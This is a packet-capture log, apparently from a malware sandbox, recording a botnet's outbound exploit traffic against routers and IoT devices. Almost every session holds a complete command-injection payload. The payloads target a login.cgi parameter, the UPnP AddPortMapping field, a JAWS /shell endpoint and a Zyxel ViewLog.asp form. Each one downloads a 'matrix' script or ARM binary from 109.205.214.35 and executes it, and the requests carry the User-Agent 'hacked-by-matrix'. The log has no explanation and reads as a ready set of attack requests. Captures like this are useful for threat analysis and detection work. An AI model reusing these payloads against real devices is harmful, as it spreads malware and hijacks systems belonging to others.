Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:37.987428904 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:38.320384026 CET	500	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:21:38 GMT Server: Apache/2.4.54 (Ubuntu) Content-Length: 306 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 34 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 6d 73 2e 69 6e 78 2e 6e 65 74 2e 7a 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.54 (Ubuntu) Server at nms.inx.net.za Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	47744	111.92.184.248	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:38.180619001 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:21:42.211062908 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:21:48.351648092 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	40052	212.200.53.82	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:38.219566107 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:39.299256086 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:39.498763084 CET	567	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 21 Mar 2024 02:25:46 GMT Server: Embedthis-Appweb/3.2.3 Cache-Control: no-cache Content-Length: 289 Connection: keep-alive Keep-Alive: timeout=120, max=199 Location: http://SRXPirotOpstina/servererror.php?code=404 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 53 52 58 50 69 72 6f 74 4f 70 73 74 69 6e 61 2f 73 65 72 76 65 72 65 72 72 6f 72 2e 70 68 70 3f 63 6f 64 65 3d 34 30 34 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a 3c 61 64 64 72 65 73 73 3e 45 6d 62 65 64 74 68 69 73 2d 41 70 70 77 65 62 2f 33 2e 32 2e 33 20 61 74 20 53 52 58 50 69 72 6f 74 4f 70 73 74 69 6e 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Moved Temporarily</title></head><body><h1>Moved Temporarily</h1><p>The document has moved <a href="http://SRXPirotOpstina/servererror.php?code=404">here</a>.</p><address>Embedthis-Appweb/3.2.3 at SRXPirotOpstina Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	47782	111.92.184.248	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:38.345377922 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	46602	66.231.107.117	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:39.067419052 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:21:39.203753948 CET	911	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 26 23 78 32 46 3b 73 68 65 6c 6c 3f 63 64 20 26 23 78 32 46 3b 74 6d 70 3b 72 6d 20 2d 72 66 20 2a 3b 77 67 65 74 20 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/.../--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url">/shell?cd /tmp;rm -rf ;wget </span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	50790	181.20.83.197	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:39.151278019 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
